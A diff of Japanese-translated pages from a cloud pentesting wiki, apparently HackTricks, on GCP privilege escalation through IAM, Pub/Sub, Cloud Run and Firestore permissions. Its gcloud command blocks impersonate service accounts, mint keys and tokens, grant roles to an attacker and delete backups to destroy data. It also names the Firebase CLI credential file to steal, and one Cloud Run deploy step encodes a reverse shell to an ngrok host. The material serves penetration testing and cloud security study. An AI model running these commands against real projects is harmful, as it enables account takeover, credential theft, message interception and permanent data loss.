--collection-ids=users,posts,messages \
|
||||
--database='(default)' \
|
||||
--project=<project-id>
|
||||
```
|
||||
バックアップおよび復元操作では、攻撃者はスケジュールされたバックアップを作成してデータベースの現在の状態を取得し、既存のバックアップを一覧表示し、バックアップから復元して最近の変更を上書きし、バックアップを削除して恒久的なデータ損失を引き起こし、スケジュールされたバックアップを削除できます。
|
||||
即時にバックアップを生成する日次バックアップスケジュールを作成するには:
|
||||
```bash
|
||||
gcloud firestore backups schedules create \
|
||||
--database='(default)' \
|
||||
--recurrence=daily \
|
||||
--retention=14w \
|
||||
--project=<project-id>
|
||||
```
|
||||
特定のバックアップから復元するには、攻撃者はそのバックアップに含まれるデータを使って新しいデータベースを作成できます。復元操作はバックアップのデータを新しいデータベースに書き込むため、既存の DATABASE_ID は使用できません。
|
||||
```bash
|
||||
gcloud firestore databases restore \
|
||||
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
|
||||
--destination-database='<new-database-id>' \
|
||||
--project=<project-id>
|
||||
```
|
||||
バックアップを削除して永久的なデータ損失を引き起こすには:
|
||||
```bash
|
||||
gcloud firestore backups delete \
|
||||
--backup=<backup-id> \
|
||||
--project=<project-id>
|
||||
```
|
||||
### Theft and misuse of Firebase CLI credentials
|
||||
攻撃者はこの攻撃を実行するために特定のFirebaseの権限を必要としませんが、開発者のローカルシステムまたはFirebase CLI credentials fileへのアクセスは必要です。これらの資格情報は次のJSONファイルに保存されています:
|
||||
|
||||
- Linux/macOS: ~/.config/configstore/firebase-tools.json
|
||||
|
||||
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
|
||||
|
||||
このファイルには認証トークンが含まれており、refresh_tokenやaccess_tokenを含むため、攻撃者はfirebase loginを実行した元のユーザーとして認証できます。
|
||||
|
||||
攻撃者がFirebase CLI credentials fileにアクセスすると、ファイル全体を自分のシステムにコピーし、Firebase CLIはデフォルトの場所から自動的にその資格情報を使用します。その後、攻撃者は当該ユーザーがアクセス可能なすべてのFirebase projectsを閲覧できます。
|
||||
```bash
|
||||
firebase projects:list
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Find more information about IAM in:
|
||||
IAM に関する詳細情報は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,52 +12,51 @@ Find more information about IAM in:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
記載された権限を持つ攻撃者は、あなたに割り当てられたロールを更新して、次のような他のリソースに対する追加の権限を付与することができます:
|
||||
|
||||
<details><summary>IAMロールを更新して権限を追加する</summary>
|
||||
上記の権限を持つ攻撃者は、あなたに割り当てられた role を更新し、次のような他のリソースに対して追加の権限を付与できるようになります:
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
</details>
|
||||
|
||||
脆弱な環境の作成、exploit、クリーンアップを自動化するスクリプトは**here**にあり、この権限を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)にあります。詳しくは[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
|
||||
|
||||
**vuln environmentの作成、exploit、およびクリーンアップを自動化するスクリプトはこちら**と、この権限を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
|
||||
```bash
|
||||
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
|
||||
```
|
||||
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
|
||||
iam.roles.create の権限はプロジェクト/組織内でカスタムロールを作成することを許可します。攻撃者の手に渡ると危険です。なぜなら、それにより新しい権限セットを定義でき、後で対象のエンティティに割り当てることで(例えば iam.serviceAccounts.setIamPolicy 権限を使用して)権限昇格を達成できるからです。
|
||||
```bash
|
||||
gcloud iam roles create <ROLE_ID> \
|
||||
--project=<PROJECT_ID> \
|
||||
--title="<Title>" \
|
||||
--description="<Description>" \
|
||||
--permissions="permission1,permission2,permission3"
|
||||
```
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
前述の権限を持つ攻撃者は、Service Account に属する access token を要求できるため、我々より権限の高い Service Account の access token を取得することが可能です。
|
||||
|
||||
<details><summary>Service Account を impersonate して access token を取得</summary>
|
||||
前述の権限を持つ攻撃者は、**Service Account に属する access token を要求することができます**。そのため、私たちより権限の高い Service Account の access token を要求できる可能性があります。
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
脆弱な環境の作成、エクスプロイト、クリーンアップを自動化するスクリプトは[**こちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh)にあり、この権限を悪用する Python スクリプトは[**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)にあります。詳細は[**オリジナルの調査**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
前述の権限を持つ攻撃者は、**Service Account 用のユーザー管理キーを作成する**ことができ、これによりその Service Account として GCP にアクセスできます。
|
||||
|
||||
<details><summary>Service Account キーを作成して認証する</summary>
|
||||
上記の権限を持つ attacker は、**create a user-managed key for a Service Account** を実行でき、その Service Account として GCP にアクセスできるようになります。
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
</details>
|
||||
自動化用スクリプトは[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh)にあり、この権限を悪用する python スクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
|
||||
|
||||
脆弱な環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh)を自動化するスクリプトや、この権限を悪用するpythonスクリプト[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)が見つかります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
|
||||
|
||||
注意:**`iam.serviceAccountKeys.update` は SA のキーを変更するためには動作しません**。そのためには `iam.serviceAccountKeys.create` の権限も必要です。
|
||||
注意: **`iam.serviceAccountKeys.update` はサービスアカウントのキーを変更するためには動作しません**。その操作には `iam.serviceAccountKeys.create` 権限も必要です。
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
もしあなたが、ある Service Account に対して **`iam.serviceAccounts.implicitDelegation`** の権限を持っており、その Service Account が第三の Service Account に対して **`iam.serviceAccounts.getAccessToken`** の権限を持っているなら、implicitDelegation を使ってその第三の Service Account のトークンを作成することができます。以下は説明用の図です。
|
||||
あるサービスアカウント上で **`iam.serviceAccounts.implicitDelegation`** 権限を持ち、かつそのサービスアカウントが第三のサービスアカウントに対して **`iam.serviceAccounts.getAccessToken`** 権限を持っている場合、implicitDelegation を使ってその第三のサービスアカウントのトークンを作成できます。説明用の図は以下です。
|
||||
|
||||

|
||||
|
||||
[**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) によると、`gcloud` の delegation は [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) メソッドを使ってトークンを生成する場合にのみ動作します。したがって、API を直接使ってトークンを取得する方法は次のとおりです:
|
||||
|
||||
<details><summary>API を使って委任でアクセストークンを生成する</summary>
|
||||
注意: [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) によると、`gcloud` の delegation は [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) メソッドを使ってトークンを生成する場合にのみ動作します。したがって、ここでは API を直接使用してトークンを取得する方法を示します:
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -68,27 +67,23 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
</details>
|
||||
|
||||
この脆弱環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh)を作成・悪用・クリーンアップする作業を自動化するスクリプトと、この特権を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
上記の権限があれば、攻撃者は GCP 上で任意のペイロードに**署名することが可能**です。したがって、対象の SA の署名を得るために、まず SA の未署名 JWT を**作成してそれを blob として送信し、JWT を署名させる**ことが可能になります。詳細は[**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)を参照してください。
|
||||
前述の権限を持つ攻撃者は、**GCP内の任意のペイロードに署名することができる**ようになります。したがって、対象のSAの未署名JWTを作成してそれをblobとして送信し、SAにJWTを署名させることが可能になります。詳細は[**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)。
|
||||
|
||||
この脆弱環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh)を作成・悪用・クリーンアップする作業を自動化するスクリプトと、この特権を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py)および[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
上記の権限があれば、攻撃者は**適切に構成された JSON web tokens (JWTs) に署名する**ことができます。前の方法との違いは、**JWT を含む blob に対して google に署名させる代わりに、元から JWT を期待する signJWT メソッドを使用する**点です。これにより使いやすくなりますが、任意のバイト列ではなく JWT のみ署名できます。
|
||||
前述の権限を持つ攻撃者は、**整形式のJSON web tokens (JWTs) に署名することができる**ようになります。前の方法との違いは、**JWTを含むblobにGoogleに署名させる代わりに、既にJWTを期待するsignJWTメソッドを使う**点です。これにより使いやすくなりますが、任意のバイトではなくJWTのみ署名できます。
|
||||
|
||||
この脆弱環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh)を作成・悪用・クリーンアップする作業を自動化するスクリプトと、この特権を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
上記の権限があれば、攻撃者は service accounts に対して**IAM ポリシーを追加する**ことができます。この機能を悪用して、自分自身にサービスアカウントをインパーソネートするために必要な権限を**付与する**ことが可能です。以下の例では、興味のある SA に対して自分に `roles/iam.serviceAccountTokenCreator` ロールを付与しています:
|
||||
|
||||
<details><summary>Add IAM policy binding to service account</summary>
|
||||
前述の権限を持つ攻撃者は、サービスアカウントにIAMポリシーを**追加する**ことができるようになります。これを悪用して、自分自身にサービスアカウントを偽装するために必要な権限を**付与する**ことが可能です。以下の例では、興味のあるSAに対して自分に`roles/iam.serviceAccountTokenCreator`ロールを付与しています:
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -99,57 +94,47 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
</details>
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
**iam.serviceAccounts.actAs permission** は **iam:PassRole permission from AWS** に似ています。これは Compute Engine のインスタンス起動などのタスクを実行する際に重要で、Service Account を "actAs" する能力を付与し、権限管理を安全に行えるようにします。これがなければ、ユーザが不当なアクセスを得る可能性があります。さらに、**iam.serviceAccounts.actAs** を悪用する方法は複数あり、それぞれに一連の権限が必要になる点が、単一の権限だけで済む他の手法と対照的です。
|
||||
**iam.serviceAccounts.actAs permission** は、AWS の **iam:PassRole permission** に似ています。Compute Engine インスタンスの起動などの操作を実行する際に、Service Account として「actAs」できる権限を与えるため、権限管理において重要です。これがないと、ユーザが不適切にアクセスを得る可能性があります。さらに、**iam.serviceAccounts.actAs** を悪用するには複数の方法があり、それぞれに必要な権限セットが異なるのに対し、他の方法は単一の権限だけで済むものもあります。
|
||||
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Service account を impersonate することは、**より高い権限を取得する**ために非常に有用です。別の service account を [impersonate する方法](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) は三通りあります:
|
||||
Service account を impersonate することは、より高い権限を取得するために非常に有用です。別の service account を impersonate する方法は次の三通りがあります(詳細は [https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) を参照):
|
||||
|
||||
- Authentication **using RSA private keys** (covered above)
|
||||
- Authorization **using Cloud IAM policies** (covered here)
|
||||
- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
|
||||
- Authentication **using RSA private keys**(上で説明)
|
||||
- Authorization **using Cloud IAM policies**(ここで説明)
|
||||
- **Deploying jobs on GCP services**(ユーザアカウントの侵害により関連することが多い)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
上記の権限がある攻撃者は OpenID JWT を生成できます。これらはアイデンティティを主張するために使われ、必ずしもリソースに対する暗黙の認可を伴うわけではありません。
|
||||
前述の権限を持つ攻撃者は、OpenID JWT を生成できます。これらはアイデンティティを主張するために使用され、必ずしもリソースに対する暗黙の認可を含むとは限りません。
|
||||
|
||||
この [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) によれば、audience(トークンを使って認証したいサービス)を指定する必要があり、google によって署名された JWT が返され、その JWT には service account と audience が示されます。
|
||||
この[**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b)によれば、audience(トークンを使って認証したいサービス)を指定する必要があり、google によって署名された JWT が返され、その JWT に service account と audience が示されます。
|
||||
|
||||
You can generate an OpenIDToken (if you have the access) with:
|
||||
|
||||
<details><summary>service account の OpenID トークンを生成する</summary>
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
その後、それを使ってサービスにアクセスできます:
|
||||
|
||||
<details><summary>OpenID tokenを使って認証する</summary>
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
</details>
|
||||
|
||||
この種のトークンを使った認証をサポートするサービスには、次のものがあります:
|
||||
この種のトークンによる認証をサポートするサービスには、次のものがあります:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (Google OIDC を使用している場合)
|
||||
|
||||
サービスアカウントに代わって OpenID token を作成する方法の例は[**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)で確認できます。
|
||||
サービスアカウントに代わって OpenID トークンを作成する方法の例は[**こちら**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)で確認できます。
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -4,34 +4,67 @@
|
||||
|
||||
## PubSub
|
||||
|
||||
詳細情報は以下を参照してください:
|
||||
詳細は次を参照:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
{{#endref}}
|
||||
|
||||
### `pubsub.snapshots.create`
|
||||
|
||||
トピックのスナップショットは**現在の未確認メッセージとその後のすべてのメッセージを含みます**。トピックのスナップショットを作成することで、**すべてのメッセージにアクセスでき、**トピックに直接アクセスすることを回避できます。
|
||||
### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
|
||||
|
||||
トピックのスナップショットは、**現在の unACKed メッセージとそれ以降のすべてのメッセージを含みます**。トピックのスナップショットを作成することで、**すべてのメッセージにアクセス**でき、**トピックに直接アクセスする必要を回避**できます。
|
||||
```bash
|
||||
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
|
||||
```
|
||||
### **`pubsub.snapshots.setIamPolicy`**
|
||||
|
||||
以前の権限を自分に割り当てます。
|
||||
前述の権限を自分に割り当てる。
|
||||
|
||||
### `pubsub.subscriptions.create`
|
||||
|
||||
受信したすべてのメッセージを指定されたURLに送信するプッシュサブスクリプションをトピックに作成できます。
|
||||
指定した URL に受信したメッセージをすべて送信する push サブスクリプションをトピックに作成できる。
|
||||
|
||||
### **`pubsub.subscriptions.update`**
|
||||
|
||||
メッセージを盗むために自分のURLをプッシュエンドポイントとして設定します。
|
||||
自分の URL を push エンドポイントとして設定し、メッセージを盗む。
|
||||
|
||||
### `pubsub.subscriptions.consume`
|
||||
|
||||
サブスクリプションを使用してメッセージにアクセスします。
|
||||
|
||||
サブスクリプションを使ってメッセージにアクセスする。
|
||||
```bash
|
||||
gcloud pubsub subscriptions pull <SUSCRIPTION> \
|
||||
--limit=50 \
|
||||
--format="json" \
|
||||
--project=<PROJECTID>
|
||||
```
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
以前の権限のいずれかを自分に与えます。
|
||||
任意の前述の権限を自分に付与する
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
For more information about Cloud Run check:
|
||||
Cloud Run の詳細については次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,18 +12,15 @@ For more information about Cloud Run check:
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
これらの権限を持つ攻撃者は、**任意のコードを実行する Cloud Run サービスを作成する**(任意の Docker コンテナ)、Service Account をアタッチし、コードに **metadata から Service Account トークンを exfiltrate させる** ことができます。
|
||||
これらの権限を持つ攻撃者は、**Cloud Run サービスを作成して任意のコードを実行させる**(任意の Docker コンテナ)、それにサービスアカウントを割り当て、コードに**メタデータからサービスアカウントのトークンを流出させる**ことができます。
|
||||
|
||||
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
|
||||
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
注意: `gcloud run deploy` を単にサービスを作成する代わりに使用する場合、**`update` 権限が必要**になります。例は[**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh)を参照してください。
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
前述の方法と同様ですが、サービスを更新するケースです:
|
||||
|
||||
<details>
|
||||
<summary>Cloud Run サービスをデプロイして reverse shell を実行</summary>
|
||||
前のものと同様ですが、サービスを更新する場合:
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
cloud Run に対して権限を自分に付与する。
|
||||
cloud Run に対して自分に特権的な権限を付与する。
|
||||
```bash
|
||||
# Change policy
|
||||
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
|
||||
--region=us-central1
|
||||
|
||||
# Add binding
|
||||
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
|
||||
--member="allUsers" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
|
||||
# Remove binding
|
||||
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
|
||||
--member="allUsers" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
```
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
コマンドで指定した service account を奪取するために、reverse shell を仕込んだ job を起動する。詳細は[**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh)を参照してください。
|
||||
|
||||
<details>
|
||||
<summary>reverse shell を仕込んだ Cloud Run job を作成する</summary>
|
||||
リバースシェルを用いてジョブを起動し、コマンドで指定された service account を奪取します。詳細は[**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh)を参照してください。
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
前のものと同様に、**ジョブと SA を更新**し、**コマンド**を設定して**実行**することができます:
|
||||
|
||||
<details>
|
||||
<summary>Cloud Run ジョブを更新して reverse shell で実行</summary>
|
||||
前の例と同様に、**ジョブを更新してSAを更新し**、**コマンド**を**実行する**ことが可能です:
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -77,23 +80,32 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
前述の権限を自分に付与して、Cloud Jobs に対する操作権限を得ます。
|
||||
Cloud Jobs に対して前述の権限を自分に付与する。
|
||||
```bash
|
||||
# Change policy
|
||||
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
|
||||
--region=us-central1
|
||||
|
||||
# Add binding
|
||||
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
|
||||
# Remove binding
|
||||
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
```
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
ジョブ実行時の env variables を悪用して任意のコードを実行し、reverse shell を取得してコンテナ(source code)の内容をダンプし、metadata 内の SA にアクセスします:
|
||||
|
||||
<details>
|
||||
<summary>Cloud Run ジョブを実行(environment variable exploitation)</summary>
|
||||
ジョブ実行のenv変数を悪用して任意のコードを実行し、reverse shellを取得してcontainerの内容(source code)をダンプし、metadata内のSAにアクセスする:
|
||||
```bash
|
||||
